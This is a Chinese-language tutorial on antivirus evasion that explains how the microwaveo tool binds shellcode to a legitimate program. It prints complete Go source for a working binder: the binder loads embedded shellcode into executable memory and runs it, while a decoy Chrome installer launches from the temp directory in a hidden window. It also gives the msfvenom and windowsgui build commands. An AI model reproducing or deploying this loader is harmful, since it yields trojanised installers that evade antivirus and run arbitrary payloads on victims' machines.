免杀基础–从microwaveo学习文件捆绑
0x00 介绍
得益于go语言的强大特性,比如跨平台编译,性能优异,生成最终为二进制可执行文件等等,现在越来越多的软件使用go语言开发。有越来越多的安全开发人员使用go开发安全工具。其中go语言版本的shellcode加载器,成了很多红队人员的喜爱。github上一个开源项目microwaveo结合go-donut制作了一个捆绑器,被捆绑的部分可以是任意一个exe或dll或shellcode。本文讨论其中的捆绑技术。
microwaveo项目地址:https://github.com/Ciyfly/microwaveo
0x01 原理
直接从代码开始,来自于模板代码(template_aes_white.tmpl)。
func main() {
var wg = sync.WaitGroup{}
wg.Add(2)
go func() {
// shellcode
defer wg.Done()
key := "{{.AesKey}}"
shellcoeRun(beacon, key)
}()
go func() {
defer wg.Done()
whitePath := path.Join(os.TempDir(), "white.exe")
ioutil.WriteFile(whitePath, []byte(whiteFile), 0666)
execCmd(whitePath)
}()
wg.Wait()
}
起了两个协程,第一个用来执行go-donut生成的shellcode,第二个执行释放到临时目录的白文件。
再往上追溯,可看到如下两行代码
//go:embed static/tmp.bin
var beacon []byte
//go:embed static/white.exe
var whiteFile string
如果没有相关go语言开发经验的,很有可能不明白这两句的意思。对于这个模板代码很困惑,beacon 切片值从哪来,whiteFile字符串又从哪找。如果你想从目标go文件生成里找,那就会失望。其实这个是编译期,就把static/tmp.bin文件和static/white.exe文件字节序列赋值给对应的下一行变量。//go:embed static/tmp.bin
是固定格式语法,由embed包负责将文件嵌入赋值给变量。以后很可能多次见到这中语法。
0x02 实战测试
- shellcode文件tmp.bin利用msfvenom生成
msfvenom -p windows/x64/exec CMD="calc" -f raw -o tmp.bin
- white.exe白文件为chrome安装文件
再去掉模板文件中的AES加密部分,就得到一个可用捆绑器
// white_bundle.go
package main
import (
"bytes"
_ "embed"
"io/ioutil"
"os"
"os/exec"
"path"
"sync"
"syscall"
"unsafe"
)
//go:embed static/tmp.bin
var beacon []byte
//go:embed static/white.exe
var whiteFile string
func execCmd(command string) {
// cmd := exec.Command("cmd.exe", "/c", "start", command)
cmd := exec.Command("cmd.exe", "/c", "start", command)
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
cmd.Start()
}
// shellcode
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
KEY_1 = 55
KEY_2 = 66
)
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)
func Run(shellcodeBeacon []byte) {
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcodeBeacon)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) // 为shellcode申请内存空间
_, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcodeBeacon[0])), uintptr(len(shellcodeBeacon))) // 将shellcode内存复制到申请出来的内存空间中
syscall.Syscall(addr, 0, 0, 0, 0)
}
func shellcoeRun(shellbuf []byte) {
Run([]byte(shellbuf))
}
func main() {
var wg = sync.WaitGroup{}
wg.Add(2)
go func() {
// shellcode
defer wg.Done()
shellcoeRun(beacon)
}()
go func() {
defer wg.Done()
whitePath := path.Join(os.TempDir(), "white.exe")
ioutil.WriteFile(whitePath, []byte(whiteFile), 0666)
execCmd(whitePath)
}()
wg.Wait()
}
编译
go build -ldflags "-s -w -H windowsgui" -o output.exe white_bundle.go